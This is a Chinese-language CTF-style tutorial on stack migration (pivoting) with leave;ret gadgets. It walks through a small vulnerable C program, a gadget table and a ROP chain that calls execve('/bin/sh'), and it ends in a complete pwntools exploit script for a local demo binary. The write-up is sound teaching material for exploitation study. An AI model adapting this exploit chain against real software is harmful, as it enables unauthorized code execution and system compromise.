Stack-Migration

2024-05-21

Stack migration(pivoting)

Author: 堇姬Naup

概念

  • 可輸入的 ROPchain 長度不夠時,可以擴展輸入的方法,將 ROPchain 分好幾次寫在指定的區域,最後再將 stack 移動過去執行
  • 如果找到其他地方有足夠空間放ROP,就可以用較少的gadget數,來將stack搬移至ROP位置,進行ROP

leave

實際上做了兩件事

1
2
mov rsp, rbp
pop rbp

方法

leave;ret

  • 透過overflow將rbp填成ROP Chain開始位置address-8
  • return address填入leave;ret 的gadget

有一塊可以寫ROP gadget的地方

1
2
3
4
5
6
*0x601090(這塊記憶體開始的位置)
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system

stack狀態

1
2
3
4
5
*0x10210<-rsp
stack
*0x10200<-rbp
old rbp
ret adress

填入payload

1
2
3
4
5
*0x10210<-rsp
AAAAAAAA
*0x10200<-rbp
0x601090(0x601098-0x8)
leave;ret

首先一路執行下來
通常最後會有個

leave;ret
而leave的意思是

1
2
mov rsp, rbp
pop rbp

所以rsp會變成rbp

1
2
3
4
AAAAAAAA
*0x10200 <- rbp,rsp
0x601090(0x601098-0x8)
leave;ret

之後pop rbp會讓stack第一個值推入rbp,也就是0x601090
所以rbp會指向那塊記憶體

1
2
3
4
5
6
*0x601090 <- rbp
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system

之後ret,rsp往下指到leave;ret gadget前面

1
2
3
4
5
AAAAAAAA
*0x10200
0x601090(0x601098-0x8)
*01018 <- rsp
leave;ret

接下來rsp繼續往下
在吃到一次leave,rsp會變成rbp,

1
2
3
4
5
6
*0x601090 <- rbp,rsp
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system

再來pop rbp,rbp指到遙遠的地方0xdeadbeef(總之就是設成這個值)
最後ret,rsp往下指

1
2
3
4
5
6
*0x601090
0xdeadbeef
*0x601098(ROP開始的位置)<-rsp
pop rdi
['/bin/sh']
system

這樣就會開始執行ROP gadget了

題目

checksec

開NX不能寫shellcode

然後其實沒開canary

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>\
#include <unistd.h>

char name[0x80];

int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);

char s[0x10];

printf("Give me your name: ");
read(0, name, 0x80);

printf("Give me your ROP: ");
read(0, s, 0x20);

return 0;
}

首先name這塊區域夠大了,應該可以寫ROPgadget,另外s的部份太小了,要用stack migration來改rsp的位置

另外最後有leave

  • execve(‘/bin/sh’)
暫存器
rax 0x3b
rdi 要執行的參數值(/bin/sh)
rsi argv(這裡=0)
rdx envp(這裡=0)
gadget address
pop rax ; ret 0x4516c7
pop rdi ; ret 0x40186a
pop rsi ; ret 0x40f40e
pop rdx ; ret 0x40176f
leave ; ret 0x401dd0
syscall 0x4012d3

新rsp address->0x4c3300

name

1
2
3
4
5
6
7
8
9
10
11
*0x4c3300
/bin/sh\x00
pop rdi
0x4c3300
pop rax
0x3b
pop rsi
0
pop rdx
0
syscall

s

1
2
3
'A'*0x10
0x4c3300
leave ; ret

這樣就可以讓rsp移到一塊大的記憶體來放ROPgadget,另外把也把/bin/sh放到這塊記憶體開頭這樣就可以抓到了
(可以按照上面的邏輯自己推一遍)

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.arch='amd64'

a=input('open debug?')
if a=='y':

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

r=process('./demo_stack_pivoting')

ROPvar={
'pop_rax_ret':0x4516c7,
'pop_rdi_ret':0x40186a,
'pop_rsi_ret':0x40f40e,
'pop_rdx_ret':0x40176f,
'leave_ret':0x401dd0,
'syscall':0x4012d3
}

STACKvar={
'rax_var':0x3b,
'rdi_var':0x4c3300,
'rsi_var':0,
'rdx_var':0,
'shell':b'/bin/sh\x00'
}



name_payload=flat(STACKvar['shell'],
ROPvar['pop_rdi_ret'],
STACKvar['rdi_var'],
ROPvar['pop_rax_ret'],
STACKvar['rax_var'],
ROPvar['pop_rsi_ret'],
STACKvar['rsi_var'],
ROPvar['pop_rdx_ret'],
STACKvar['rdx_var'],
ROPvar['syscall']

)

s_payload=b'a'*0x10+p64(0x4c3300)+p64(ROPvar['leave_ret'])
r.sendlineafter(b'Give me your name: ',name_payload)
r.sendlineafter(b'Give me your ROP: ',s_payload)


r.interactive()

getshell!!!